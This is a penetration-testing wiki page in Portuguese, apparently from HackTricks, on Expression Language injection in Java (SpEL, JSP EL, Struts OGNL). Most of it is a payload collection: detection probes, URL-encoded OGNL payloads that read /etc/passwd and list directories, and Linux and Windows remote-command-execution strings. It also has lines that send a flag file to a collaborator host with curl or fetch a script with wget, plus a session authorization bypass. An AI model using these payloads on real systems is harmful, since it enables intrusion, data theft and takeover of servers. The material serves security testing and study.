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245 lines
14 KiB
Markdown
245 lines
14 KiB
Markdown
# EL - Expression Language
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Informações Básicas
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Expression Language (EL) é integral no JavaEE para conectar a camada de apresentação (por exemplo, páginas da web) e a lógica de aplicação (por exemplo, beans gerenciados), permitindo sua interação. É predominantemente usado em:
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* **JavaServer Faces (JSF)**: Para vincular componentes de UI a dados/ações de backend.
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* **JavaServer Pages (JSP)**: Para acesso e manipulação de dados dentro de páginas JSP.
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* **Contexts and Dependency Injection for Java EE (CDI)**: Para facilitar a interação da camada web com beans gerenciados.
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**Contextos de Uso**:
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* **Spring Framework**: Aplicado em vários módulos como Segurança e Dados.
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* **Uso Geral**: Através da API SpEL por desenvolvedores em linguagens baseadas em JVM como Java, Kotlin e Scala.
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O EL está presente nas tecnologias JavaEE, em ambientes autônomos, e é reconhecível através das extensões de arquivo `.jsp` ou `.jsf`, erros de pilha e termos como "Servlet" nos cabeçalhos. No entanto, seus recursos e o uso de certos caracteres podem depender da versão.
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{% hint style="info" %}
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Dependendo da **versão do EL**, alguns **recursos** podem estar **Ativados** ou **Desativados** e geralmente alguns **caracteres** podem ser **proibidos**.
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{% endhint %}
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## Exemplo Básico
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(Você pode encontrar outro tutorial interessante sobre EL em [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
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Baixe do repositório [**Maven**](https://mvnrepository.com) os arquivos jar:
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* `commons-lang3-3.9.jar`
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* `spring-core-5.2.1.RELEASE.jar`
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* `commons-logging-1.2.jar`
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* `spring-expression-5.2.1.RELEASE.jar`
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E crie o seguinte arquivo `Main.java`:
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```java
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import org.springframework.expression.Expression;
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import org.springframework.expression.ExpressionParser;
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import org.springframework.expression.spel.standard.SpelExpressionParser;
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public class Main {
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public static ExpressionParser PARSER;
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public static void main(String[] args) throws Exception {
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PARSER = new SpelExpressionParser();
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System.out.println("Enter a String to evaluate:");
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java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
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String input = stdin.readLine();
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Expression exp = PARSER.parseExpression(input);
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String result = exp.getValue().toString();
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System.out.println(result);
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}
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}
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```
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Em seguida, compile o código (se você não tiver `javac` instalado, instale `sudo apt install default-jdk`):
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```java
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javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
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```
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Execute o aplicativo com:
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```java
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java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
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Enter a String to evaluate:
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{5*5}
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[25]
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```
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Note como no exemplo anterior o termo `{5*5}` foi **avaliado**.
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## **Tutorial Baseado em CVE**
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Verifique isso **neste post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
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## Payloads
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### Ações básicas
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```bash
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#Basic string operations examples
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{"a".toString()}
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[a]
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{"dfd".replace("d","x")}
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[xfx]
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#Access to the String class
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{"".getClass()}
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[class java.lang.String]
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#Access ro the String class bypassing "getClass"
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#{""["class"]}
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#Access to arbitrary class
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{"".getClass().forName("java.util.Date")}
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[class java.util.Date]
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#List methods of a class
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{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
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[public boolean java.util.Date.equals(java.lang.Object)]
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```
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### Detecção
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* Detecção do Burp
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```bash
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gk6q${"zkz".toString().replace("k", "x")}doap2
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#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
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```
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* Detecção J2EE
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```bash
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#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
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https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
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```
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* Dormir 10 segundos
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```bash
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#Blind detection vector (sleep during 10 seconds)
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
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```
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### Inclusão Remota de Arquivo
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
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```
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### Listagem de Diretório
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
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```
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### RCE
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* Explicação básica de RCE **explanation**
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```bash
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#Check the method getRuntime is there
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{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
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[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
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#Execute command (you won't see the command output in the console)
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{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
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[Process[pid=10892, exitValue=0]]
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#Execute command bypassing "getClass"
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#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
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# With HTMl entities injection inside the template
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<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
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```
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* RCE **linux**
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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* RCE **Windows** (não testado)
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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* **Mais RCE**
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```java
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// Common RCE payloads
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''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
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''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
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// Method using Runtime via getDeclaredConstructors
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#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
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#{session.getAttribute("rtc").setAccessible(true)}
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#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
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// Method using processbuilder
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${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
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${request.getAttribute("c").add("cmd.exe")}
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${request.getAttribute("c").add("/k")}
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${request.getAttribute("c").add("ping x.x.x.x")}
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${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
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${request.getAttribute("a")}
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// Method using Reflection & Invoke
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${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
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// Method using ScriptEngineManager one-liner
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${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
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// Method using ScriptEngineManager
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
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${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
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//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
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(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
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T(java.lang.System).getenv()[0]
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T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
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T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
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''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
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```
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### Inspecionando o ambiente
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* `applicationScope` - variáveis globais da aplicação
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* `requestScope` - variáveis de requisição
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* `initParam` - variáveis de inicialização da aplicação
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* `sessionScope` - variáveis de sessão
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* `param.X` - valor do parâmetro onde X é o nome de um parâmetro http
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Você precisará converter essas variáveis para String como:
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```bash
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${sessionScope.toString()}
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```
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#### Exemplo de bypass de autorização
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```bash
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${pageContext.request.getSession().setAttribute("admin", true)}
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```
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A aplicação também pode usar variáveis personalizadas como:
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```bash
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${user}
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${password}
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${employee.FirstName}
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```
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## Bypass de WAF
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Verifique [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
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## Referências
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* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
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* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
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* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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